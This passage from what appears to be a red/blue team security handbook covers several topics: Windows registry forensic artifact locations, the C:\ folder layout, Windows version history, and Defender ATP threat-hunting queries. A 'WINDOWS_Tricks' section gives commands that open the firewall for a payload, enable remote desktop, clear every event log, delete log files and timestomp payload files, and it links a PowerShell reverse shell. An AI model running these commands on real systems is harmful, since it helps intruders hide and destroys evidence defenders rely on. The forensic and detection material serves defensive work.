Skype Language
1
0
HKEY_CURRENT_USER\SOFTWARE\Sk
ype\Phone\UI\General
Skype Process Name
1
0
HKEY_LOCAL_MACHINE\SOFTWARE\I
M Providers\Skype
Skype Update App ID
1
0
HKEY_CLASSES_ROOT\AppID\{27E6
D007-EE3B-4FF7-8AE8-
28EF0739124C}
Skype User CID
8
settings.dat\LocalState /
skype.account.name
Skype User List
1
0
HKEY_CURRENT_USER\SOFTWARE\Sk
ype\Phone\Users\
Skype User Name E-
Mail
settings.dat\LocalState /
skype.liveuser.CID
Skype Version 1
1
0
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Windows\CurrentVersi
on\Installer\UserData\S-1-5-
18\Components\(UID)\(UID)
Skype Version 2
1
0
HKEY_CLASSES_ROOT\Installer\P
roducts\74A569CF9384AC046B818
14F680F246C
406
SRUM
SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\SRUM\Extension
s {d10ca2fe-6fcf-4f6d-848e-
b2e99266fa89} = Application
Resource Usage Provider
C:\Windows\System32\SRU\
SRUM Resource Usage
History
7 8
1
0
SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\SRUM\Extension
s
Start and File
Explorer Searches
entered by user
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ WordWheelQuery
Start Menu Program
List
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ MenuOrder\ Programs\
Start Searches
Entered by User
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\WordWheelQuery
Start Searches
entered by user
NTUSER.DAT\Software\Microsoft
\ SearchAssistant\ ACMru\5###
Startup Location
X
P
7 8
1
0
SOFTWARE\Microsoft\Command
Processor / AutoRun
Startup Location
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\Winlogon/U
serinit
Startup Location
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
SessionManager\BootExecute
Startup Software
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\RunO
nce
Startup Software Run
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Run
Startup Software Run
Once
X
P
7 8
1
0
SOFTWARE\\Microsoft\Windows\
CurrentVersion\RunOnce
Storage Class Drivers
X
P
7 8
1
0
SYSTEM\ControlSet001\Control\
DeviceClasses\ {53f56307-
b6bf-11d0- 94f2-00a0c91efb8b}
Storage Device
Information
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\ ST
ORAGE
STORAGE Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ ST
ORAGE\Volume\\
Storage Spaces Drive
ID
8
1
0
SYSTEM\ControlSet###\Services
\ spaceport\Parameters
System Restore Info
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ SystemRes
tore
System Restore
Information
7
SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\SystemRestore
TaskBar Application
List
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
407
rer\Taskband /
FavoritesResolve
TCPIP Data, Domain
Names, Internet
Connection Info
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ Tcpip\Parameters\Interfaces
\
TCPIP Network Cards
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ Tcpip\Parameters\Interfaces
\
TechSmith SnagIt MRU
NTUSER.DAT\Software\TechSmith
\ SnagIt\\Recent Captures
Theme Current Theme
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Them
es / CurrentTheme
Theme Last Theme
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Them
es\ Last Theme
Time Sync with
Internet Servers
7
SOFTWARE\Microsoft\Windows\Cu
rrentVersion\DateTime\Servers
Time Synch with
Internet Choices
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\DateTime\Server
s
Time Synch with
Internet Enabled
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ W32Time\Parameters / Type
Time Synch with
Internet Servers
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\DateTime\Server
s
Time Zone Information
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
TimeZoneInformation
Trusted Documents
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\Security\Truste
d Documents\TrustRecords
Trusted Locations
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\Security\Truste
d Locations
Turn off UAC Behavior
7
SOFTWARE\Microsoft\Widows\Cur
rentVersion\Policies\System\C
onsentPromptBehaviorAdmin
Turn off UAC Behavior
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Policies\System
/ ConsentPromptBehaviorAdmin
Typed Paths in
Windows Explorer
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\TypedPaths
Typed Paths into
Windows Explorer or
File Explorer
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ TypedPaths
TypedURLs
1
0
UsrClass.dat\SOFTWARE\LocalSe
ttings\Software\Microsoft\Win
dows\CurrentVersion\AppContai
ner\ Storage\microsoft.micros
408
oftedge_8wekyb3d8bbwe\Microso
ftEdge\TypedURLs
TypedURLs
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Internet Explorer\TypedURLs
TypedURLs Hyperlink
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Internet Explorer\TypedURLs
TypedURLsTime
1
0
UsrClass.dat\SOFTWARE\LocalSe
ttings\Software\Microsoft\Win
dows\CurrentVersion\AppContai
ner\ Storage\microsoft.micros
oftedge_8wekyb3d8bbwe\Microso
ftEdge\TypedURLs
TypedURLsTime
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Internet
Explorer\TypedURLsTime
TypedURLsVisitCount
1
0
UsrClass.dat\SOFTWARE\LocalSe
ttings\Software\Microsoft\Win
dows\CurrentVersion\AppContai
ner\ Storage\microsoft.micros
oftedge_8wekyb3d8bbwe\Microso
ftEdge\TypedURLsVisitCount
UAC On or Off
SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Policies\System\
EnableLUA
UAC On or Off
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Policies\System
/ EnableLUA
UMB Bus Driver
Interface
7 8
1
0
SYSTEM\ControlSet001\ Control
\DeviceClasses\{65a9a6cf-
64cd-480b-843e-32c86e1ba19f}
USB Device Classes
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
DeviceClasses\{53f56307-b6bf-
11d0- 94f2-00a0c91efb8b}\/
DeviceInstance
USB Device Containers
8
1
0
SYSTEM\ControlSet###\Control\
Device
Containers\\ BaseContainers\
USB Device
Information Values
7 8
1
0
SYSTEM\ControlSet001\Enum\USB
\\
USB Device Interface
X
P
7 8
1
0
SYSTEM\ControlSet001\ Control
\DeviceClasses\{a5dcbf10-
6530-11d2-901f-00c04fb951ed}
USB Enumeration
X
P
7 8
1
0 SYSTEM\ControlSet001\Enum\USB
USB First Install
Date
7 8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\\ Properties\{83da6326
-97a6-4088-9453-
a1923f573b29}\00000064\000000
00/ Data
409
USB Install Date
7 8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\\ Properties\{83da6326
-97a6-4088-9453-
a1923f573b29}\00000065\000000
00/ Data
USB Last Arrival Date
8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\\ Properties\{83da6326
-97a6-4088-9453-
a1923f573b29}\0066
USB Last Removal Date
8
1
0
SYSTEM\ControlSet###\Enum\ US
BSOR\\\ Properties\ {83da6326
-97a6-4088-9453-
a1923f573b29}\0067
USB Logged On User at
Time of Access
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ MountPoints2\
USB ROM Descriptors
HKEY_LOCAL_MACHINE\USBSTOR\
USB to Volume Serial
Number
7
SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\EMDMgmt
USB Windows Portable
Devices
7 8
1
0
SOFTWARE\Microsoft\Windows
Portable Devices\Devices
USBPRINT
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ US
BPRINT\\
USBS Hub Information
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ usbhub\Enum
USBSTOR Container ID
7 8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\/ ContainerID
USBSTOR Drive
Identification
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\
USBSTOR Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\ US
BSTOR\\
USBSTOR Parent ID
Prefix (PIP)
SYSTEM\ControlSet###\Enum\ US
BSTOR\\/ ParentIdPrefix
User Account
Expiration
7
SAM\Domains\Account\Users\F
Key
User Account Status
X
P
7 8
1
0
SAM\SAM\Domains\Account\Users
\/ V
User Information F
Value
X
P
7 8
1
0
SAM\SAM\Domains\Account\Users
\/ F
User Information V
Value
X
P
7 8
1
0
SAM\SAM\Domains\Account\Users
\/ V
User Information
Values
X
P
7 8
1
0
SAM\SAM\Domains\Account\Users
\
User Live Accounts
8
1
0
SAM\SAM\Domains\Account\Users
\/ F
User Logon Account
Hidden on Startup
7 8
1
0
SAM\SAM\Domains\Account\Users
\/ UserDontShowInLogonUI
User Logon Account
Hidden on Startup
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\ S
pecialAccounts\UserList /
410
User Mode Bus
Enumerator
V 7 8
1
0
SYSTEM\ControlSet001\services
\ umbus\Enum
User Name and SID
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ProfileLis
t\
User Password Hint
V 8
1
0
SAM\SAM\Domains\Account\Users
\/ UserPasswordHint
User Password Hint XP
X
P
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ProfileLis
t\
UserAssist
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ UserAssist\
UserAssist
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ UserAssist\
UserAssist
NTUSER.DAT\Software\Microsoft
\Windows\Currentversion\Explo
rer\UserAssist\{GUID}\Coun
UsrClass Info
HKEY_USERS\_Classes
VMware Player Recents
List
NTUSER.DAT\Software\VMware,
Inc.\VMWare
Player\VMplayer\Window
position
Volume Device
Interface Class
X
P
7 8
1
0
HKLM\SYSTEM\ControlSet001\ Co
ntrol\Device
Classes\{53f5630d- b6bf-11d0-
94f2-00a0c91efb8b}
Volume Shadow Copy
service driver
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ volsnap\Enum
Vuze Install Path 1
7
HKEY_USERS\(SID)\Software\Azu
reus
Vuze Install Path 2
7
HKEY_LOCAL_MACHINE\SOFTWARE\A
zureus
Vuze Install4j
7
HKEY_LOCAL_MACHINE\SOFTWARE\e
j-
technologies\install4j\instal
lations\allinstdirs8461-7759-
5462-8226
Vuze install4jprogram
7
HKEY_USERS\(SID)\Software\ej-
technologies\exe4j\pids
Vuze Installer
7
HKEY_LOCAL_MACHINE\SOFTWARE\e
j-
technologies\install4j\instal
lations\instdir8461-7759-
5462-8226
Windows Explorer
Settings
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\Advanced
411
Windows Explorer
Settings
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ Advanced
Windows Portable
Devices
7 8
1
0
SOFTWARE\Microsoft\Windows
Portable Devices\Devices\
WindowsBootVerificati
onProgram
HKEY_LOCAL_MACHINE\System\Cur
rentControlSet\Control\BootVe
rificationProgram
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Policies\Explorer\Run\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Run\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\RunOnce\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\RunOnce\Setup\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\RunOnceEx\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Run\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\RunOnce\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\RunOnce\Setup\
*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\RunOnceEx\*
WindowsRunKeys
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Policies\Explo
rer\Run\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\Policies\Explorer\Run\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\Run\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\RunOnce\*
412
WindowsRunKeys
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\RunOnce\Setup\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\RunOnceEx\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\Policies\Explore
r\Run\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\Run\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\RunOnce\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\RunOnce\Setup\*
WindowsRunKeys
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\RunOnceEx\*
WindowsRunServices
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\RunServicesOnce\*
WindowsRunServices
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\RunServices\*
WindowsRunServices
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\RunServicesOnc
e\*
WindowsRunServices
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\RunServices\*
WindowsSystemPolicySh
ell
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Policies\System
WindowsSystemPolicySh
ell
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Policies\Syste
m
WindowsWinlogonNotify
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows
NT\CurrentVersion\Winlogon\No
tify\*
WindowsWinlogonNotify
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows
NT\CurrentVersion\Winlogon\No
tify\*
413
WindowsWinlogonShell
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows
NT\CurrentVersion\Winlogon
WindowsWinlogonShell
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows
NT\CurrentVersion\Winlogon
WindowsWinlogonShell
(GINA DLL)
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows
NT\CurrentVersion\Winlogon
WindowsWinlogonShell
(GINA DLL)
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows
NT\CurrentVersion\Winlogon
Winlogon Userinit
7
HKLM\SOFTWARE\Microsoft\Windo
wsNT\CurrentVersion\Winlogon\
Userinit
Winlogon Userinit
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows
NT\CurrentVersion\Winlogon
Winlogon Userinit
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows
NT\CurrentVersion\Winlogon
WinRAR
NTUSER.DAT\Software\WinRAR\Di
alog EditHistory\ArcName
WinRAR
NTUSER.DAT\Software\WinRAR\ D
ialogEditHistory\ExtrPath
WinRAR Extracted
Files MRU
NTUSER.DAT\Software\WinRAR\ A
rcHistory
WinZip 11.1 Accessed
Archives
7
NTUSER.DAT\Software\Nico Mak
Computing\filemenu/filemenu##
WinZip 11.1
Extraction MRU
7
NTUSER.DAT\Software\Nico Mak
Computing\Extract/extract#
WinZip 11.1
Registered User
7
NTUSER.DAT\Software\Nico Mak
Computing\WinIni/Name 1
WinZip 11.1 Temp File
7
NTUSER.DAT\Software\Nico Mak
Computing\Directories/ZipTemp
WinZip Accessed
Archives
NTUSER.DAT\Software\Nico Mak
Computing\filemenu /
filemenu##
WinZip Extraction MRU
NTUSER.DAT\Software\Nico Mak
Computing\ Extract / extract#
WinZip Location
Extracted To
NTUSER.DAT\Software\Nico Mak
Computing\ Directories /
ExtractTo
WinZip Registered
User
NTUSER.DAT\Software\Nico Mak
Computing\ WinIni / Name 1
WinZip Temp File
NTUSER.DAT\Software\Nico Mak
Computing\ Directories /
ZipTemp
414
WinZip Zip Creation
Location
NTUSER.DAT\Software\Nico Mak
Computing\ Directories /
AddDir
WinZip Zip Creation
Location
NTUSER.DAT\Software\Nico Mak
Computing\ Directories /
DefDir
Wireless associations
to SSIDs by user
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Inte
rnet Settings\Wpad\
Wireless Connections
Post XP
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ NetworkLi
st\Profiles\
Wireless Post XP
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ NetworkLi
st\ Signatures\Managed(or
Unmanaged)\
Wireless XP
X
P
SOFTWARE\Microsoft\WZCSVC\ Pa
rameters\Interfaces\{0E271E68
-9033- 4A25-9883-
A020B191B3C1} /Static#####
Wireless XP
X
P
SOFTWARE\Microsoft\EAPOL\ Par
ameters\Interfaces\{0E271E68-
9033- 4A25-9883-A020B191B3C1}
/ #
WordPad MRU
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Appl
ets\ Wordpad\Recent File List
WPD Bus Enum
Enumeration
8
1
0
SYSTEM\ControlSet001\Enum\ SW
D\WPDBUSENUM
WPD Bus Enum Root
Enumeration User Mode
Bus Drive Enumeration
7 8
1
0
SYSTEM\ControlSet001\Enum\ Wp
dBusEnumRoot\UMB\
WPD Device Interface
7 8
1
0
SYSTEM\ControlSet001\ Control
\DeviceClasses\{6ac27878-
a6fa-4155-ba85-f98f491d4f33}
Write Block USB
Devices
7
SYSTEM\ControlSet###\Control\
storageDevicePolicies\
Write Block USB
Devices
X
P
7 8
SYSTEM\ControlSet###\Control\
StorageDevicePolicies /
WriteProtect
XP Search Assistant
history
X
P
NTUSER.DAT\Software\Microsoft
\Search Assistant\ACMru\####
Yahoo Chat Rooms
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\\Chat
Yahoo!
NTUSER.DAT\Software\Yahoo\Pag
er\ Profiles\*
Yahoo! File Transfers
NTUSER.DAT\Software\Yahoo\Pag
er\ File Transfer
415
Yahoo! File Transfers
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\screen name
\ FileTransfer
Yahoo! Identities
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\screen name /
All Identities, Selected
Identities
Yahoo! Last User
NTUSER.DAT\Software\Yahoo\ Pa
ger - Yahoo! User ID
Yahoo! Message
Archiving
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\screen
name\Archive
Yahoo! Password
NTUSER.DAT\Software\Yahoo\ Pa
ger - EOptions string
Yahoo! Recent
Contacts
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\screen
name\IMVironments\ Recent
Yahoo! Saved Password
NTUSER.DAT\Software\Yahoo\ Pa
ger - Save Password
Yahoo! Screen Names
NTUSER.DAT\Software\Yahoo\Pag
er\ profiles\screen name
Yserver
NTUSER.DAT\Software\Yahoo\Yse
rver
REFERENCE:
https://www.dfir.training/resources/downloads/windows-registry
https://www.13cubed.com/downloads/dfir_cheat_sheet.pdf
https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5d497aefe
58b7e00011f6947/1565096688890/Windows+Registry+Auditing+Cheat+Sheet+ver+Aug
+2019.pdf
W
W
WINDOWS_Structure
ALL
INFORMATIONAL
WINDOWS
Windows top-level default file structure and locations in C:\.
DIRECTORY
DESCRIPTION
\PerfLogs
Windows performance logs, but on a
default configuration, it is empty.
\Program Files
32-bit architecture: Programs 16-bit
and 32-bit installed in this folder.
64-bit architecture: 64-bit programs
installed in this folder.
\Program Files (x86)
Appears on 64-bit editions of Windows.
32-bit and 16-bit programs are by
default installed in this folder.
\ProgramData
Contains program data that are expected
to be accessed by applications system
416
wide. The organization of the files is
at the discretion of the developer.
\Users
Folder contains one subfolder for each
user that has logged onto the system at
least once. In addition: "Public" and
"Default" (hidden),"Default User" (NTFS
"Default" folder) and "All Users" (NTFS
symbolic link to "C:\ProgramData").
\Users\Public
Folder serves as a buffer for users of
a computer to share files. By default,
this folder is accessible to all users
that can log on to the computer. By
default, this folder is shared over the
network with a valid user account. This
folder contains user created data
(typically empty).
%USER%\AppData
This folder stores per-user application
data and settings. The folder contains
three subfolders: Roaming, Local, and
LocalLow. Roaming data saved in Roaming
will synchronize with roaming profiles
to other computer when the user logs
in. Local and LocalLow does not sync up
with networked computers.
\Windows
Windows itself is installed into this
folder.
\Windows\System
Folders store DLL files that implement
the core features of Windows. Any time
a program asks Windows to load a DLL
file and do not specify a path, these
folders are searched after program's
own folder is searched. "System" stores
16-bit DLLs and is normally empty on
64-bit editions of Windows. "System32"
stores either 32-bit or 64-bit DLL
files, depending on whether the Windows
edition is 32-bit or 64-bit. "SysWOW64"
only appears on 64-bit editions of
Windows and stores 32-bit DLLs.
\Windows\System32
\Windows\SysWOW64
\WinSxS
This folder is officially called
"Windows component store" and
constitutes the majority of Windows. A
copy of all Windows components, as well
as all Windows updates and service
packs is stored in this folder.
Starting with Windows 7 and Windows
Server 2008 R2, Windows automatically
scavenges this folder to keep its size
in check. For security reasons and to
avoid the DLL issues, Windows enforces
very stringent requirements on files.
417
W
W
WINDOWS_Tricks
RED/BLUE TEAM
MISC
WINDOWS
Allow payload traffic through firewall:
netsh firewall add allowedprogram C:\payload.exe MyPayload ENABLE
Open port on firewall:
netsh firewall add portopening TCP 1234 MyPayload ENABLE ALL
Delete open port on firewall:
netsh firewall delete portopening TCP 1234
Enable Remote Desktop
reg add
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
NTFS Enable Last Time File Accessed reg key as 0.
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v
NtfsDisableLastAccessUpdate /d 0 /t REG_DWORD /f
POWERSHELL REVERSE TCP SHELL
https://github.com/ZHacker13/ReverseTCPShell
WINDOWS COVER TRACKS
Delete all log files from WINDIR directory:
del %WINDIR%\*.log /a /s /q /f
Delete all System log files:
for /f %a in ('wevtutil el') do @wevtutil cl "%a"
Delete specific System log files:
#1 List System log file
wevtutil el
#2 Delete specific System log
wevtutil cl [LOGNAME]
wevtutil el | Foreach-Object {wevtutil cl "$_"}
PowerShell Change Timestamp of directory
418
PS> (Get-Item "C:\Windows\system32\MyDir").CreationTime=("01 March
2019 19:00:00")
PowerShell Changing Modification time of a file
PS> (Get-Item
"C:\ Windows\system32\MyDir\payload.txt").LastWriteTime=("01 March
2019 19:00:00")
PowerShell Changing Access time of a file
PS> (Get-Item "C:\ Windows\system32\MyDir\payload.txt
").LastAccessTime=("01 March 2019 19:00:00")
PowerShell Change all Creation times of files in current directory
$files = Get-ChildItem -force | Where-Object {! $_.PSIsContainer}
foreach($object in $files)
{
$object.CreationTime=("01 March 2019 19:00:00")
}
W
W
WINDOWS_Versions
ALL
INFORMATIONAL
WINDOWS
VERSION
DATE
RELEASE
LATEST
Windows 10
15-Jul-15
NT 10.0
18362 1903
Windows 8.1
27-Aug-13
NT 6.3
9600
Windows 8
01-Aug-12
NT 6.2
9200
Windows 7
22-Jul-09
NT 6.1
7601
Windows Vista
08-Nov-06
NT 6.0
6002
Windows XP Pro
25-Apr-05
NT 5.2
3790
Windows XP
24-Aug-01
NT 5.1
2600
Windows Me
19-Jun-00
4.9
3000
Windows 2000
15-Dec-99
NT 5.0
2195
Windows 98
15-May-98
4.1
2222 A
Windows NT 4.0
31-Jul-96
NT 4.0
1381
Windows 95
15-Aug-95
4
950
Windows NT 3.51
30-May-95
NT 3.51
1057
Windows NT 3.5
21-Sep-94
NT 3.5
807
Windows 3.2
22-Nov-93
3.2
153
Windows 3.11
08-Nov-93
3.11
300
Windows NT 3.1
27-Jul-93
NT 3.1
528
Windows 3.1
06-Apr-92
3.1
103
Windows 3.0
22-May-90
3
N/A
Windows 2.11
13-Mar-89
2.11
N/A
Windows 2.10
27-May-88
2.1
N/A
Windows 2.03
09-Dec-87
2.03
N/A
419
Windows 1.04
10-Apr-87
1.04
N/A
Windows 1.03
21-Aug-86
1.03
N/A
Windows 1.02
14-May-86
1.02
N/A
Windows 1.0
20-Nov-85
1.01
N/A
REFERENCE:
https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions
W
W
WINDOWS DEFENDER ATP
BLUE TEAM
THREAT HUNT
WINDOWS
Microsoft Defender Advanced Threat Protection is a platform
designed to help enterprise networks prevent, detect, investigate,
and respond to advanced threats.
DESCRIPTION
QUERY
Possible RDP
tunnel
ProcessCreationEvents | where EventTime >
ago(10d)
| where (ProcessCommandLine contains ":3389" or
ProcessCommandLine contains ":6511")
| project EventTime, ComputerName, AccountName,
InitiatingProcessFileName, ActionType,
FileName, ProcessCommandLine,
InitiatingProcessCommandLine
Allow RDP
connection
ProcessCreationEvents
| where EventTime > ago(7d)
| where ( ProcessCommandLine contains "SC
CONFIG" and ProcessCommandLine contains
"DISABLED" and ProcessCommandLine contains
"wuauserv" )
or (ProcessCommandLine contains "Terminal
Serve" and ProcessCommandLine contains
"fDenyTSConnections" and ProcessCommandLine
contains "0x0" )
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
InitiatingProcessFileName
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
inf file echo
creation/execut
ion
ProcessCreationEvents
| where EventTime > ago(17d)
| where ProcessCommandLine contains "echo" and
ProcessCommandLine contains ".inf"
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
420
InitiatingProcessFileName
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
Accounts
Creation
ProcessCreationEvents
| where EventTime > ago(7d)
| where ProcessCommandLine contains "net user"
and ProcessCommandLine contains "/add"
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
InitiatingProcessFileName
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
Local Accounts
Activation
ProcessCreationEvents
| where EventTime > ago(7d)
| where ProcessCommandLine contains
"Administrator /active:yes" or
ProcessCommandLine contains "guest /active:yes"
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
InitiatingProcessFileName
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
User Addition
to Local Groups
ProcessCreationEvents
| where EventTime > ago(7d)
| where ProcessCommandLine contains
"localgroup" and ProcessCommandLine contains
"/add" and ( ProcessCommandLine contains
"Remote Desktop Users" or ProcessCommandLine
contains "administrators")
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
InitiatingProcessFileName
| project EventTime, ComputerName,
ProcessCommandLine, InitiatingProcessFileName,
AccountName
Service
Creation
ProcessCreationEvents
| where EventTime > ago(7d)
| where FileName contains "SECEDIT"
| where ProcessCommandLine == @"secedit.exe
/export /cfg ** .inf"
| summarize makeset(ComputerName),
makeset(AccountName),
makeset(ProcessCommandLine) by
InitiatingProcessFileName
421
Alert Events
AlertEvents
| where EventTime > ago(7d)
| summarize makeset(FileName),
dcount(FileName), makeset(ComputerName),
makeset(Category), dcount(ComputerName) by
Title
| sort by dcount_ComputerName desc
Alert Events by
Category
AlertEvents
| where EventTime > ago(7d)
| summarize dcount(ComputerName),
dcount(FileName), makeset(FileName),
makeset(ComputerName) by Category, Severity
| sort by dcount_ComputerName desc
Alert Events by
ComputerName
AlertEvents
| where EventTime > ago(7d)
| summarize dcount(Category), dcount(FileName),
makeset(Category), makeset(FileName) by
ComputerName, Severity
| sort by dcount_Category desc
Alert Events by
FileName
AlertEvents
| where EventTime > ago(7d)
| summarize dcount(ComputerName),
dcount(Category), makeset(Severity),
makeset(Category), makeset(ComputerName) by
FileName
| sort by dcount_ComputerName desc
Alert Events by
Win Defender
MiscEvents
| where EventTime > ago(17d)
| where ActionType == "WDAVDetection"
| summarize makeset(FileName),
makeset(InitiatingProcessParentFileName),
makeset(InitiatingProcessFileName),
makeset(InitiatingProcessCommandLine),
makeset(FolderPath),
makeset(InitiatingProcessFolderPath) ,
makeset(AccountName ) by ComputerName
Clearing Event
Log Activity
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains "call
ClearEventlog" or InitiatingProcessCommandLine
contains "call ClearEventlog"
| summarize makeset(ComputerName),
